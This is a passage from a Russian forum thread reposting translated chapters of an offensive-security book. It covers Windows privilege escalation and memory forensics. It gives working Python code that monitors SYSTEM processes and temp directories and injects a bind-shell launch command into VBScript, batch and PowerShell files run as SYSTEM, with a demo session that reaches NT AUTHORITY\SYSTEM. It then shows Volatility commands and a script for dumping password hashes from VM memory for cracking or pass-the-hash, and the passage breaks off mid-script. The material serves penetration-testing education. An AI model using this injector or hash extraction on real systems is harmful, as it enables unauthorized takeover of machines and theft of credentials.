Страница 2 из 2 Первая 12
  1. #11

    Глава 10. Повышение привилегий в Windows

    Пришло время найти способы повысить привилегии. Если вы уже SYSTEM или администратор, возможно, вам нужно сразу несколько способов достижения привилегий, на тот случай, если патч закроет вам доступ. Также важно иметь каталог повышения привилегий, так как некоторые предприятия запускают ПО, которое трудно поддается анализу в вашей собственной среде, и вы можете не суметь запустить это ПО, пока вы не окажетесь в предприятии такого же размера и структуры. При обычном повышении привилегий, вам придется использовать либо родной драйвер Windows, либо драйвер с плохим кодом. Однако, если использовать эксплойт низкого качества или есть проблемы с работой эксплойта, то вы рискуете столкнуться с нестабильностью системы. Мы с вами узнаем о других способах получения повышенных привилегий в Windows.


    Системные администраторы на крупных предприятиях обычно имеют запланированные задачи или службы, которые запускают дочерние процессы или VBScript и PowerShell, чтобы автоматизировать выполнение заданий. Вендоры также часто имеют автоматизированные встроенные задачи. Мы попробуем воспользоваться процессами с высокими привилегиями по работе с файлами или попытаемся выполнить бинарный код, написанные пользователями с низкими привилегиями. Существует бесчисленное количество способов, как можно повысить привилегии на Windows, но мы с вами проанализируем лишь некоторые из них. Однако, как только вы поймете основные концепции, вы сами сможете расширять свои скрипты, чтобы начать изучать другие темные уголки ваших Windows целей.

    Мы начнем с изучения того, как применять WMI программирование на Windows, чтобы создать гибкий интерфейс по отслеживанию создания новых процессов. Мы собираем такие полезные данные, как пути файлов, пользователь, который создал процесс и доступные привилегии. Скрипт по отслеживанию файлов постоянно следит за появлением новых файлов и за тем, что в них написано. Это помогает нам понять, какие файлы оценивались процессами с высокими привилегиями и узнать о местоположении файла. Последний шаг — перехват процесса создания файла, чтобы мы могли внедрить код скрипта и заставить процесс с высокими привилегиями запустить командную оболочку. Прелесть всего этого процесса заключается в том, что он никак не связан с API перехватом, поэтому мы сможем обойти большинство антивирусных ПО.

    Выполняем предварительные условия

    Нам нужно установить несколько библиотек, для того чтобы написать необходимые инструменты. Если вы следовали всем инструкциями с самого начала этой книги, то у вас уже должен быть готов easy_install. Если нет, то вернитесь к Главе 1 и прочитайте инструкцию по установке easy_install.
    На вашей виртуальной машине Windows в оболочке cmd.exe выполните следующее:
    Код:
    C:\> easy_install pywin32 wmi
    Если по той или иной причине этот метод установки у вас не работает, скачайте установщик PyWin32 прямо из http://sourceforge.net/projects/pywin32/.

    Затем нужно будет установить пример службы, которую для меня написали наши технические эксперты Дэн Фриш (Dan Frisch) и Клифф Джанзен (Cliff Janzen). Эта служба эмулирует набор распространенных уязвимостей, которые мы нашли в сети крупного предприятия и помогает наглядно показать пример кода в этой главе.

    1. Скачайте zip файл по ссылке http://www.nostarch.com/blackhatpython/bhpservice.zip.
    2. Установите службу, используя прилагаемый сценарий пакетной обработки install_service.bat. Убедитесь, что вы вошли по администратором.

    Все должно быть готово, давайте приступим к самому интересному!

    Создаем монитор процессов

    Я участвовал в проекте для Immunity под названием El Jefe, что по сути является очень простой системой отслеживания процесса с централизованной регистрацией (http://eljefe.immunityinc.com/). Этот инструмент разработан для людей, которые работают на стороне защиты системы для отслеживания процессов создания и установки вредоносного ПО. Однажды мой коллега Марк Вюрглер (Mark Wuergler) предложил воспользоваться El Jefe в качестве легкого механизма для отслеживания процессов, выполняемых, как SYSTEM на наших целевых машинах Windows. Таким образом, мы смогли бы заглянуть внутрь потенциально небезопасной работы с файлами или небезопасным созданием дочерних процессов. Все сработало, и мы получили множество багов повышения привилегий.

    Главный недостаток оригинального инструмента El Jefe заключается в том, что он использует DLL, который внедряется в каждый процесс для перехвата вызовов всех форм нативной функции CreateProcess. Проблема в том, что большинство антивирусного ПО также перехватывает вызовы CreateProcess, поэтому вы либо будете приняты на вредоносную программу, либо столкнетесь с нестабильностью системы, когда El Jefe будет запущен одновременно в антивирусным ПО. Мы немного переделаем возможности отслеживания El Jefe, чтобы мы имели возможность запускать этот инструмент вместе с антивирусным ПО.

    Отслеживание процесса при помощи WMI


    WMI API дает программисту возможность отслеживать систему на предмет конкретных событий и затем получать обратные вызовы, когда эти события происходят. Мы оптимизируем этот интерфейс, чтобы получать обратный вызов, каждый раз при создании процесса. Когда создается процесс, мы будем перехватывать для своих целей ценную информацию: время создания процесса, пользователь, запустивший процесс, исполнимый файл и аргументы командной строки, ID процесса и ID родительского процесса. Это покажет нам любые процессы, которые были созданы аккаунтами с высокой привилегией, в частности любые процессы, которые вызывают такие внешние файлы, как VBScript или пакетные скрипты. Когда у нас будет вся эта информация, мы также определим, какие привилегии были включены на маркерах процесса. В некоторых редких случаях, вы обнаружите процессы, которые созданы обычным пользователем, но получили дополнительные привилегии Windows.

    Начнем с создания очень простого скрипта отслеживания [21], который предоставит нам базовую информацию о процессах, а затем выполним его сборку, чтобы определить доступные привилегии. Обратите внимание, чтобы получить информацию о процессах с высокой привилегией, созданных SYSTEM, например, вам потребуется запустить свой скрипт отслеживания под администратором. В process_monitor.py пропишем следующий код:
    Код:
    import  win32con
    import  win32api
    import  win32security
    
    import  wmi
    import  sys
    import  os
    
    def log_to_file(message):
        fd = open("process_monitor_log.csv", "ab")
        fd.write("%s\r\n" % message)
        fd.close()
    
        return
    
    # create a log file header
    log_to_file("Time,User,Executable,CommandLine,PID,Parent PID,Privileges")
    
    # instantiate the WMI interface
    ➊ c = wmi.WMI()
    
    # create our process monitor
    ➋ process_watcher = c.Win32_Process.watch_for("creation")
    
    while True:
          try:
    ➌         new_process = process_watcher()
    ➍         proc_owner = new_process.GetOwner()
               proc_owner = "%s\\%s" % (proc_owner[0],proc_owner[2])
               create_date = new_process.CreationDate
               executable = new_process.ExecutablePath
               cmdline = new_process.CommandLine
               pid = new_process.ProcessId
               parent_pid = new_process.ParentProcessId
    
    privileges = "N/A"
    process_log_message = "%s,%s,%s,%s,%s,%s,%s\r\n" % (create_date,
       proc_owner, executable, cmdline, pid, parent_pid, privileges)
       
       print process_log_message
    
       log_to_file(process_log_message)
    
    except:
        pass
    Начинаем с перехвата WMI класса ➊, затем мы сообщаем ему следить за событием создания процесса ➋. Считывая документацию Python WMI, мы узнаем, что вы можете отслеживать создание процесса или события удаления. Если вы решаете более детально отследить события процесса, вы можете использовать операцию, и она уведомит вас исключительно о каждом событии, через которое проходит процесс. Затем мы входим в цикл, и происходит блокировка, пока функция process_watcher не вернет событие нового процесса ➌. Событие нового процесса — это WMI класс, который называется Win32_Process [22]. Он содержит в себе всю релевантную информацию, которая нам нужна. Одна из функций класса — GetOwner, которую мы вызываем ➍, чтобы определить, кто запустил процесс и уже оттуда мы забираем всю информацию о процессе, выводим ее на экран и сохраняем в файл.

    Проверка на деле

    Давайте запустим скрипт отслеживания процесса и затем создадим некоторые другие процессы, чтобы увидеть результат.
    Код:
    C:\> python process_monitor.py
    20130907115227.048683-300,JUSTIN-V2TRL6LD\Administrator,C:\WINDOWS\system32\
    notepad.exe,"C:\WINDOWS\system32\notepad.exe" ,740,508,N/A
    
    20130907115237.095300-300,JUSTIN-V2TRL6LD\Administrator,C:\WINDOWS\system32\
    calc.exe,"C:\WINDOWS\system32\calc.exe" ,2920,508,N/A
    После запуска скрипта, я открываю notepad.exe и calc.exe. Вы видите, что информация была выведена корректно. Обратите внимание, что оба процесса имеют PID родительского процесса, установленный на значении 508. это и есть ID процесса explorer.exe на моей виртуальной машине. А сейчас можно сделать паузу, пока этот скрипт будет запущен на весь день, и вы увидите все процессы, запланированные задачи и разные обновления ПО. Если повезет, то вы сможете обнаружить вредоносное ПО. Полезно также периодически выходить из целевой системы и входить в нее, так как события, генерируемые этими действиями, могут указывать на привилегированные процессы. Итак, мы настроили базовое отслеживание процесса, давайте заполним привилегированные поля и узнаем, как работают привилегии в Windows и почему они так важны.

    Привилегии маркера в Windows

    Windows маркер, согласно определению Microsoft — это «объект, который описывает безопасность контекста процесса или потока» [23]. То, как происходит инициализация маркера и какие разрешения и привилегии установлены для маркера, определяет, какие задачи этот процесс или поток сможет выполнять. Разработчик, у которого хорошие намерения, может иметь приложение системного лотка, как часть продукта безопасности, которым могут пользоваться непривилегированные пользователи, чтобы контролировать главную службу Windows, то есть драйвер. Разработчик использует нативную Windows API функцию AdjustTokenPrivileges в отношении процессов и при этом, неосознанно передать приложению системного лотка привилегию SeLoadDriver. О чем не задумывается разработчик, если вы можете забраться внутрь этого приложения системного лотка, то у вас тоже будет возможность загружать и выгружать драйвер. То есть, вы сможете внедрить руткит на уровне ядра, а это значит — конец игре.

    Помните, если вы не можете запустить отслеживание процесса как SYSTEM или под администратором, тогда вам придется внимательно следить за процессами, которые вы можете отслеживать и смотреть, не появились ли дополнительные привилегии. Процесс, запущенный от вашего пользователя с ошибочными переменными — это невероятный способ попасть в SYSTEM или запустить код в ядре. Самые интересные привилегии, которые я всегда ищу представлены в Таблице 10-1. Это не исчерпывающий список, но хорошее начало [24].

    Таблица 10-1. Интересные привилегии
    Название привилегии Доступ, который она обеспечивает
    SeBackupPrivilege дает возможность пользовательскому процессу возвращать файлы и директории и обеспечивает READ доступ к файлам, несмотря на их ACL права.
    SeDebugPrivilege дает возможность пользовательскому процессу совершать отладку других процессов. Она также позволяет внедрять DLL или код в запущенный процесс.
    SeLoadDriver дает возможность пользовательскому процессу загружать и выгружать драйверы.

    Итак, мы получили базовые представления о том, что такое привилегии и какие привилегии нас могут интересовать, теперь давайте настроим Python на автоматическое получение активных привилегий процессов, которые мы отслеживаем. Мы воспользуемся модулями win32security, win32api и win32con. Если вы столкнетесь с ситуацией, что не сможете загрузить эти модули, все следующие функции будут переведены в нативные вызовы при помощи библиотеки ctypes. Здесь просто будет намного больше работы. Добавьте следующий код в process_monitor.py прямо над нашей функцией existing log_to_file:
    Код:
    def get_process_privileges(pid):
        try:
            # obtain a handle to the target process
    ➊       hproc = win32api.OpenProcess(win32con.PROCESS_QUERY_
             INFORMATION,False,pid)
    ➋       # open the main process token
             htok = win32security.OpenProcessToken(hproc,win32con.TOKEN_QUERY)
    
            # retrieve the list of privileges enabled
    ➌     privs = win32security.GetTokenInformation(htok, win32security.
           TokenPrivileges)
    
    # iterate over privileges and output the ones that are enabled
    priv_list = ""
    for i in privs:
        # check if the privilege is enabled
    ➍          if i[1] == 3:
    ➎               priv_list += "%s|" % win32security.
                    LookupPrivilegeName(None,i[0])
    except:
          priv_list = "N/A"
    
    return priv_list
    Мы используем ID процесса , чтобы получить дескриптор целевого процесса ➊. Затем мы открываем маркер процесса ➋ и запрашиваем у него информацию об этом процессе ➌. Отправляя win32security.TokenPrivileges, мы инструктируем вызов API вернуть всю привилегированную информацию по этому процессу. Функция возвращает список кортежей, где первый член кортежа является привилегированным, а второй член описывает, доступна привилегия или нет. Так как нас интересуют только доступные привилегии, мы проверяем сначала доступные биты ➍, а затем ищем человекочитаемые названия этой привилегии ➎.

    Затем мы модифицируем существующий код и меняем следующую строку кода
    Код:
    privileges = "N/A"
    на
    Код:
    privileges = get_process_privileges(pid)
    Теперь, когда мы добавили наш привилегированный код отслеживания, давайте вернем скрипт process_monitor.py и проверим вывод. Вы должны увидеть привилегированную информацию, как показано ниже:
    Код:
    C:\> python.exe process_monitor.py
    20130907233506.055054-300,JUSTIN-V2TRL6LD\Administrator,C:\WINDOWS\system32\
    notepad.exe,"C:\WINDOWS\system32\notepad.exe" ,660,508,SeChangeNotifyPrivilege
    |SeImpersonatePrivilege|SeCreateGlobalPrivilege|
    
    20130907233515.914176-300,JUSTIN-V2TRL6LD\Administrator,C:\WINDOWS\system32\
    calc.exe,"C:\WINDOWS\system32\calc.exe" ,1004,508,SeChangeNotifyPrivilege|
    SeImpersonatePrivilege|SeCreateGlobalPrivilege|
    Вы видите, что мы правильно зарегистрировали доступные привилегии для этих процессов. Мы можем без труда добавить функции в скрипт, чтобы регистрировать только те процессы, которые запущены от имени непривилегированного пользователя, но которые имеют доступные и интересные для нас привилегии.

    Выиграть гонку

    Пакетные скрипты, VBScript и PowerShell намного облегчают жизнь системным администраторам, автоматизируя рутинные задачи. Их цели могут отличаться из-за постоянной регистрации в службе центральной инвентаризации с целью обновления ПО из их собственных репозиториев. Одна из наиболее распространенных проблем — это недостаток ACL в файлах этих скриптов. В ряде случаев, на безопасных серверах, я обнаруживал пакетные скрипты или скрипты PowerShell, которые запускаются раз в день пользователем SYSTEM, но их может переписать абсолютно любой пользователь.

    Если вы запускаете свой процесс отслеживания на достаточно длительное время на предприятии (или вы просто устанавливаете пример службы, о котором речь шла в самом начале главы), вы можете увидеть подобные записи:
    Код:
    20130907233515.914176-300,NT AUTHORITY\SYSTEM,C:\WINDOWS\system32\cscript.
    exe, C:\WINDOWS\system32\cscript.exe /nologo "C:\WINDOWS\Temp\azndldsddfggg.
    vbs",1004,4,SeChangeNotifyPrivilege|SeImpersonatePrivilege|SeCreateGlobal
    Privilege|
    Как видите, SYSTEM запустила cscript.exe и отправила параметр C:\WINDOWS\Temp\andldsddfggg.vbs. Пример службы из начала главы должен генерировать эти события каждую минуту. Если вы проверите директорию, то не найдете в списке этот файл. Что происходит: служба создает случайное название файла, вставляет в файл VBScript, а затем выполняет это VBScript скрипт. Я видел несколько раз, как это действие выполнялось коммерческим ПО, и я видел ПО, которое копирует файлы во временное хранение, исполняет, а затем удаляет их. Для того чтобы нам использовать это условие, мы должны суметь выиграть гонку у исполняемого кода. Когда ПО или запланированная задача создают файл, нам нужно внедрить свой собственный код в файл, до того как начнется исполнение процесса и затем файл удалится. На помощь нам приходит Windows API под названием ReadDirectoryChangesW. Он позволяет нам отслеживать директорию на предмет любых изменений в файлах или поддиректориях. Мы также можем фильтровать эти события, чтобы определять, когда файл был «сохранен», чтобы мы смогли быстро внедрить наш код. Невероятно полезно следить за всеми временными директориями в течение 24 часов или дольше, так как иногда можно найти интересные уязвимости или информацию о потенциальных повышениях привилегий.

    Итак, начнем создавать монитор файлов, а затем выполним сборку для автоматического внедрения кода.
    Создаем новый файл file_monitor.py и выбиваем следующее:
    Код:
    # Modified example that is originally given here:
    # http://timgolden.me.uk/python/win32_how_do_i/watch_directory_for_changes.
    html
    import tempfile
    import threading
    import win32file
    import win32con
    import os
    # these are the common temp file directories
    ➊ dirs_to_monitor = ["C:\\WINDOWS\\Temp",tempfile.gettempdir()]
    
    # file modification constants
    FILE_CREATED     = 1
    FILE_DELETED     = 2
    FILE_MODIFIED    = 3
    FILE_RENAMED_FROM = 4
    FILE_RENAMED_TO   = 5
    
    def start_monitor(path_to_watch):
    # we create a thread for each monitoring run
    FILE_LIST_DIRECTORY = 0x0001
    
    ➋ h_directory = win32file.CreateFile(
         path_to_watch,
         FILE_LIST_DIRECTORY,
         win32con.FILE_SHARE_READ | win32con.FILE_SHARE_WRITE | win32con.FILE_
         SHARE_DELETE,
         None,
         win32con.OPEN_EXISTING,
         win32con.FILE_FLAG_BACKUP_SEMANTICS,
         None)
    
    while 1:
        try:
    ➌        results = win32file.ReadDirectoryChangesW(
               h_directory,
               1024,
               True,
               win32con.FILE_NOTIFY_CHANGE_FILE_NAME |
               win32con.FILE_NOTIFY_CHANGE_DIR_NAME |
               win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES |
               win32con.FILE_NOTIFY_CHANGE_SIZE |
               win32con.FILE_NOTIFY_CHANGE_LAST_WRITE |
               win32con.FILE_NOTIFY_CHANGE_SECURITY,
               None,
               None
               )
    
    ➍      for action,file_name in results:
               full_filename = os.path.join(path_to_watch, file_name)
              
               if action == FILE_CREATED:
                  print "[ + ] Created %s" % full_filename
               elif action == FILE_DELETED:
                  print "[ - ] Deleted %s" % full_filename
               elif action == FILE_MODIFIED:
                  print "[ * ] Modified %s" % full_filename
    
                  # dump out the file contents
                  print "[vvv] Dumping contents..."
                  try:
                       fd = open(full_filename,"rb")
                       contents = fd.read()
                       fd.close()
                       print contents
                       print "[^^^] Dump complete."
                   except:
                       print "[!!!] Failed."
    
               elif action == FILE_RENAMED_FROM:
                    print "[ > ] Renamed from: %s" % full_filename
               elif action == FILE_RENAMED_TO:
                    print "[ < ] Renamed to: %s" % full_filename
               else:
                    print "[???] Unknown: %s" % full_filename
    except:
         pass
    
    for path in dirs_to_monitor:
         monitor_thread = threading.Thread(target=start_monitor,args=(path,))
         print "Spawning monitoring thread for path: %s" % path
         monitor_thread.start()
    Мы определяем список директорий, которые мы хотели бы отслеживать ➊, в нашем случае это две распространенных файловых директории. Помните, что могут быть и другие места, на которые тоже можно обратить свое внимание. Поэтому редактируйте этот список под себя. Для каждого из этих путей, мы создадим поток отслеживания, который вызывает функцию start_monitor. Главная задача этой функции — получить дескриптор директории, которую мы хотим отследить ➋. Затем мы вызываем функцию ReadDirectoryChangesW ➌, которая уведомляет нас, когда произойдут изменения. Мы получаем имя целевого файла и тип произошедшего события ➍. Затем мы распечатываем полезную информацию о том, что произошло с конкретным файлом и если мы обнаруживаем, что файл был модифицирован, мы забираем содержимое файла для сравнения ➎.

    Проверка на деле

    Открываем cmd.exe и запускаем file_monitor.py:
    Код:
    C:\> python.exe file_monitor.py
    Открываем второй cmd.exe и выполняем следующие команды:
    Код:
    C:\> cd %temp%
    C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp> echo hello > filetest
    C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp> rename filetest file2test
    C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp> del file2test
    Вы должны увидеть примерно следующий результат:
    Код:
    Spawning monitoring thread for path: C:\WINDOWS\Temp
    Spawning monitoring thread for path: c:\docume~1\admini~1\locals~1\temp
    [ + ] Created c:\docume~1\admini~1\locals~1\temp\filetest
    [ * ] Modified c:\docume~1\admini~1\locals~1\temp\filetest
    [vvv] Dumping contents...
    hello
    
    [^^^] Dump complete.
    [ > ] Renamed from: c:\docume~1\admini~1\locals~1\temp\filetest
    [ < ] Renamed to: c:\docume~1\admini~1\locals~1\temp\file2test
    [ * ] Modified c:\docume~1\admini~1\locals~1\temp\file2test
    [vvv] Dumping contents...
    hello
    
    [^^^] Dump complete.
    [ - ] Deleted c:\docume~1\admini~1\locals~1\temp\FILE2T~1
    Если все сработало, как планировалось, то я рекомендую вам оставить файл отслеживать на 24 часа на целевой машине. Вы удивитесь (а может быть, нет) увидеть создаваемые, выполняемые и удаляемые файлы. Вы также можете использовать скрипт по отслеживанию процесса, чтобы попытаться найти интересные пути файлов. Обновления ПО представляют особый интерес. Давайте продолжим и добавим возможность автоматически внедрять код в целевой файл.

    Внедрение кода

    Теперь, когда мы можем отследить процессы и местоположения файла, давайте рассмотрим возможность автоматического внедрения кода в целевые файлы. Самые распространенные скриптовые языки — VBScript, пакетные файлы и PowerShell. Мы создадим очень простые сниппеты кода, котороые запускают скомпилированную версию нашего инструмента bhpnet.py с уровнем привилегии исходящей службы. Есть много разных вредных вещей, которые вы можете совершить, используя эти языки. [25] Мы создадим общий фреймворк, и можете начинать баловаться прямо отсюда. Давайте модифицируем наш скрипт file_monitor.py и добавим следующий код:
    Код:
    ➊ file_types = {}
    
    command = "C:\\WINDOWS\\TEMP\\bhpnet.exe -l -p 9999 -c"
    file_types['.vbs'] =
    ["\r\n'bhpmarker\r\n","\r\nCreateObject(\"Wscript.Shell\").Run(\"%s\")\r\n" %
    command]
    
    file_types['.bat'] = ["\r\nREM bhpmarker\r\n","\r\n%s\r\n" % command]
    
    file_types['.ps1'] = ["\r\n#bhpmarker","Start-Process \"%s\"\r\n" % command]
    
    # function to handle the code injection
    def inject_code(full_filename,extension,contents):
    
        # is our marker already in the file?
    ➋  if file_types[extension][0] in contents:
           return
    
        # no marker; let's inject the marker and code
        full_contents = file_types[extension][0]
        full_contents += file_types[extension][1]
        full_contents += contents
     
    ➌  fd = open(full_filename,"wb")
       fd.write(full_contents)
       fd.close()
       
       print "[\o/] Injected code."
    
       return
    Начнем с определения словаря сниппетов кода, которые соответствуют конкретному файловому расширению ➊, что включает в себя уникальный маркер и код, который мы хотим внедрить. Причина, по которой мы используем маркер, заключается в том, что мы можем попасть в бесконечный цикл, в ходе которого мы сможем увидеть модификацию файла, вставить наш код (что приводит к последующему событию модификации файла) и так далее. Так продолжается, пока файл не становится просто гигантским и ваш жесткий диск с ним не справляется. Следующая часть кода — это наша функция inject_code, которая работает непосредственно с внедрением кода и проверкой маркера файла. После того как мы подтвердим, что маркера не существует ➋, мы выписываем маркер и код, которые хотим запустить через целевой процесс ➌. Теперь нам нужно изменить наш главный цикл события, что включить проверку расширения файла и вызвать функцию inject_code.
    Код:
    --snip--
                 elif action == FILE_MODIFIED:
                       print "[ * ] Modified %s" % full_filename
    
                       # dump out the file contents
                       print "[vvv] Dumping contents..."
                       
                       try:
                           fd = open(full_filename,"rb")
                           contents = fd.read()
                           fd.close()
                      print contents
                      print "[^^^] Dump complete."
                   except:
                      print "[!!!] Failed."
    #### NEW CODE STARTS HERE
    ➊                 filename,extension = os.path.splitext(full_filename)
    
    ➋                 if extension in file_types:
                          inject_code(full_filename,extension,contents)
    #### END OF NEW CODE
    --snip--
    Это вполне понятное добавление в наш главный цикл. Мы быстро разбиваем файловое расширение ➊ и затем проверяем его по нашему словарю известных типов файлов ➋. Если расширение обнаружено в нашем словаре, то мы вызываем функцию inject_code. Давайте пробовать.

    Проверка на деле

    Если вы установили пример уязвимой службы, о чем говорилось в начале главы, то вы легко сможете протестировать ваш новый внедритель кода Проверьте, что служба запущена и просто исполните скрипт file_monitor.py. В результате, вы должны увидеть, что был создан и модифицирован файл .vbs, а код внедрен. Если все прошло хорошо, то вы должны суметь запустить скрипт bhpnet.py из Главы 2, чтобы соединиться с прослушивателем, который вы только что создали. Для того чтобы убедиться, что повышение привилегий сработало, соединитесь с прослушивателем и проверьте, какой пользователь у вас запущен.
    Код:
    justin$ ./bhpnet.py -t 192.168.1.10 -p 9999
    <CTRL-D>
    <BHP:#> whoami
    NT AUTHORITY\SYSTEM
    <BHP:#>
    Это указывает на то, что вы достигли священного аккаунта SYSTEM и ваш внедритель кода работает.

    Возможно, вы дочитали эту главу и подумали, что некоторые атаки получились понятными только избранному кругу людей. Но, чем больше времени вы проведете внутри крупного предприятия, тем больше вы начнете осознавать, что это вполне жизнеспособные атаки. Инструменты, описанные в этой главе легко можно усовершенствовать или сделать на их основе скрипт, который можно будет использовать в конкретных случаях, с целью скомпрометировать локальный аккаунт или приложение. Только WMI может быть отличным источником получения локальных данных, которые вы сможете использовать в дальнейшем для атака, как только окажетесь внутри сети. Повышение привилегии — это неотъемлемая часть любого хорошего трояна.


    [21] Мы адаптировали этот код, взятый со страницы Python WMI (http://timgolden.me.uk/python/wmi/tutorial.html).

    [22] Win32_Process class документация: http://msdn.microsoft.com/en-us/libr...(v=vs.85).aspx

    [23] MSDN – Маркеры доступа: http://msdn.microsoft.com/en-us/library/Aa374909.aspx

    [24] Все привилегии можно найти по ссылке http://msdn.microsoft.com/en-us/libr...(v=vs.85).aspx

    [25] Карлос Перез (Carlos Perez) проделал отличную работу с PowerShell; см. http://www.darkoperator.com/

  2. #12

    Глава 11. Автоматизация компьютерно-технической экспертизы

    Экспертов часто призывают, когда была нарушена безопасность компьютера или для того, чтобы определить имел ли место «инцидент». Обычно экспертам требуется снимок оперативной памяти с целью получения криптографических ключей или иной информации, которая остается только в памяти. Повезло, что талантливые разработчики создали весь фреймворк Python таким образом, что он способен выполнять эту задачу. Этот фреймворк получил название Volatility и он служит для извлечения из памяти (RAM) цифровых артефактов. Специалисты по вторжению, эксперты в компьютерно-технической области и аналитики вредоносного ПО могут использовать Volatility для выполнения самых разных задач, в том числе для проверки объектов ядра, изучения и отладки процессов и так далее. Мы, конечно, больше заинтересованы в менее полезных возможностях Volatility.

    Сначала мы изучим некоторые возможности командной строки по восстановлению хешей пароля из запущенной виртуальной машины на базе VMWare. Затем мы покажем, как можно автоматизировать этот двухэтапный процесс, внедрив Volatility в наши скрипты. Последний пример демонстрирует, как мы можем внедрить шелл-код непосредственно в запущенную виртуальную машину в точное место, которое мы сами выберем. Этот метод оценят параноики, которые пользуются Интернетом или отправляют электронные письма только из виртуальной машины. Этот метод внедрения кода также полезен для запуска кода на компьютере, в котором установлен FireWire порт, к которому можно получить доступ, но он либо заблокирован, либо спит и требует пароля. Приступим!

    Установка

    Нет ничего проще, чем установить Volatility. Вам просто нужно скачать его по ссылке https://code.google.com/p/volatility/downloads/list. Обычно я не делаю полную установку. Я храню его в локальной директории и добавляю директорию в свой рабочий путь, как вы увидите в дальнейших разделах. Установщик Windows также входит. Выберите предпочитаемый метод установки и все должно заработать без проблем.

    Профили

    Volatility основан на концепции profiles, чтобы определить, как применять необходимые сигнатуры и смещения, чтобы выводить информацию из дампа памяти. Но если вы можете получить снимок памяти при помощи FireWire или удаленно, то вы не обязательно точно знаете версию операционной системы, на которую совершаете атаку. К счастью, в Volatility есть плагин imageinfo, который определяет, какой профиль следует использовать по отношению к цели. Вы можете запустить плагин следующим образом:
    Код:
    $ python vol.py imageinfo -f "memorydump.img"
    После запуска, вы должны получить в ответ неплохой кусок информации. Самая важная строка - Suggested Profiles, она должна выглядеть примерно так:
    Код:
    Suggested Profile(s) : WinXPSP2x86, WinXPSP3x86
    Когда вы будете выполнять следующие несколько упражнений на своей цели, вы должны установить флаг командной строки – profile на соответствующем значении, начиная с первого. При нашем сценарии мы бы использовали:
    Код:
    $ python vol.py plugin --profile="WinXPSP2x86" arguments
    Вы поймете, если зададите неверный профиль, потому что ни один из плагинов не будет нормально функционировать или Volatility укажет на ошибки, означающие, что он не может найти подходящее совмещение по адресу.

    Захват хэшей пароля

    Восстановление хешей пароля на машине Windows после проникновения — это самая главная задача среди почти всех взломщиков. Эти хеши можно взломать оффлайн в попытке восстановить пароль цели или их можно использовать для атаки типа «pass-the-hash» с целью получить доступ к другим ресурсам сети. Просмотр виртуальных машин или снэпшотов — это идеальное место для попытки восстановить эти хеши.

    Целью может быть пользователь с наклонностями параноика, который выполняет все рискованные операции только на своей виртуальной машине или предприятие, которое хранит всю деятельность пользователей на виртуальной машине. В любом случае, виртуальная машина — это отличное место для сбора информации, после того как вы получили доступ к аппаратной части хоста.

    Volatility делает этот процесс восстановления невероятно простым. Во-первых, мы посмотрим на то, как работать с необходимыми плагинами, чтобы восстановить смещения в памяти, откуда можно получить хеши пароля. Затем мы создадим скрипт, чтобы уметить весь процесс в одном шаге.

    Windows хранит локальные пароли в улье реестра SAM в хешированном формате. Кроме этого, в улье реестра system Windows хранится кнопка начальной загрузки. Нам нужны оба эти улья, чтобы извлечь хеши из снимка памяти. Для начал, давайте запустим плагин hivelist, чтобы Volatility извлек смещения в памяти, где хранятся эти два улья. Затем мы передадим эту информацию плагину hashdump, чтобы осуществить непосредственно извлечение хеша. Заходите в свой терминал и вводите следующую команду:
    Код:
    $ python vol.py hivelist --profile=WinXPSP2x86 -f "WindowsXPSP2.vmem"
    Через пару минут, вы должны увидеть какой-то результат, отображенный там, где в памяти находятся.
    Код:
    Virtual   Physical   Name
    -------   --------   -----
    0xe1666b60 0x0ff01b60 \Device\HarddiskVolume1\WINDOWS\system32\config\software
    0xe1673b60 0x0fedbb60 \Device\HarddiskVolume1\WINDOWS\system32\config\SAM
    0xe1455758 0x070f7758 [no name]
    0xe1035b60 0x06cd3b60 \Device\HarddiskVolume1\WINDOWS\system32\config\system
    Вы видите смещения виртуальной и физической памяти, как SAM, так и ключей system (выделено жирным). Не забывайте, что виртуальное смещение имеет дело с тем местом в памяти, по отношению к операционной системе, где находятся ульи. Физическое смещение — это расположение фактического файла .vmem на диске, где располагаются эти улья. Итак, теперь у нас есть улья SAM и system, поэтому мы можем передать виртуальные смещения плагину hashdump. Возвращаемся в наш терминал и вводим следующую команду, не забывая, что ваши виртуальные адреса будут отличаться от тех, что показаны в моем примере:
    Код:
    $ python vol.py hashdump -d -d -f "WindowsXPSP2.vmem"
    --profile=WinXPSP2x86 -y 0xe1035b60 -s 0xe17adb60
    Запуск этой команды должен привести к следующему результату:
    Код:
    Administrator:500:74f77d7aaaddd538d5b79ae2610dd89d4c:537d8e4d99dfb5f5e92e1fa3
    77041b27:::
    Guest:501:aad3b435b51404ad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    HelpAssistant:1000:bf57b0cf30812c924kdkkd68c99f0778f7:457fbd0ce4f6030978d124j
    272fa653:::
    SUPPORT_38894df:1002:aad3b435221404eeaad3b435b51404ee:929d92d3fc02dcd099fdaec
    fdfa81aee:::
    Отлично! Теперь мы можем отправить хеши в наш любимый инструмент для взлома или выполнить атаку типа «pass-the-hash».

    Теперь, давайте возьмем этот двухэтапный процесс и направим его в наш скрипт. Открываем grabhashes.py и вводим следующий код:
    Код:
    import sys
    import struct
    import volatility.conf as conf
    import volatility.registry as registry
    ➊ memory_file = "WindowsXPSP2.vmem"
    ➋ sys.path.append("/Users/justin/Downloads/volatility-2.3.1")
    
    registry.PluginImporter()
    config = conf.ConfObject()
    
    import volatility.commands as commands
    import volatility.addrspace as addrspace
    
    config.parse_options()
    config.PROFILE = "WinXPSP2x86"
    config.LOCATION = "file://%s" % memory_file
    
    registry.register_global_options(config, commands.Command)
    registry.register_global_options(config, addrspace.BaseAddressSpace)
    Сначала мы устанавливаем переменную, чтобы она указывала на снимок памяти ➊, который мы собираемся анализировать. Затем мы включаем путь скачивания Volatility ➋, чтобы наш код мог успешно импортировать библиотеки Volatility. Оставшаяся часть поддерживающего кода нужна для настройки экземпляра Volatility с настроенными опциями профиля и конфигурации.

    Теперь, давайте вставим непосредственно код для выгрузки хеша. Добавим следующие строки в grabhashes.py.
    Код:
    from volatility.plugins.registry.registryapi import RegistryApi
    from volatility.plugins.registry.lsadump import HashDump
    
    ➊ registry = RegistryApi(config)
    ➋ registry.populate_offsets()
    
    sam_offset = None
    sys_offset = None
    
    for offset in registry.all_offsets:
    
    ➌   if registry.all_offsets[offset].endswith("\\SAM"):
            sam_offset = offset
            print "[*] SAM: 0x%08x" % offset
    
